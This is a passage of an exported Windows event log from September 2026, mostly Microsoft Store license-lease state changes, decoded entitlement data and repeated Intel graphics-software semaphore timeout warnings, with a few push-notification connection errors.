KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8012\t0x21f831d3200: 8012: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8011\t0x21f8312a820: 8012: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8012\t0x21f8312a820: 8012: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.232\t8011\t0x21f831d3200: 2976: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8011\t0x21f831d3200: 13532: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8012\t0x21f831d3200: 13532: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 34.034996 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8011\t0x21f8312a820: 8012: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8011\t0x21f8312a820: 8012: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8011\t0x21f8312a820: 8012: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8012\t0x21f8312a820: 8012: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.233\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:57:51.234\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.234\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.234\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.234\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:57:51.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:51.523\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:52.171\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:52.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:52.397\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:52.404\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:57:59.346\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:59.346\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:59.366\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:57:59.366\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:08.142\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:08.142\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:08.142\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:08.156\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:58:09.240\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:09.246\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:09.460\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:09.671\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:09.883\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:10.106\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:10.332\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:10.551\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:10.993\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:11.214\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:11.547\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:12.323\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:13.437\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:14.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:14.662\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:14.885\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:15.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:15.329\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:16.104\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:16.888\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.112\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.336\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.559\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.781\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:17.999\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:18.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:18.667\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:19.670\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:19.891\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.448\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.672\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.894\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:20.926\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:58:20Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:58:21.105\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:21.886\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:22.443\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:22.666\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:22.913\t21\tSound level for application [Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic] changed to [0]\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:58:22.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:23.005\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:58:23.005\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 08:58:23.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:23.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:23.773\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:23.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:24.218\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:25.660\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:25.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:26.331\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:26.554\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:27.560\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:27.782\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:28.559\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:28.782\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:29.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:29.338\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:29.784\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:30.341\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:30.564\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:30.770\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:31.548\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:32.106\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:58:32.661\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 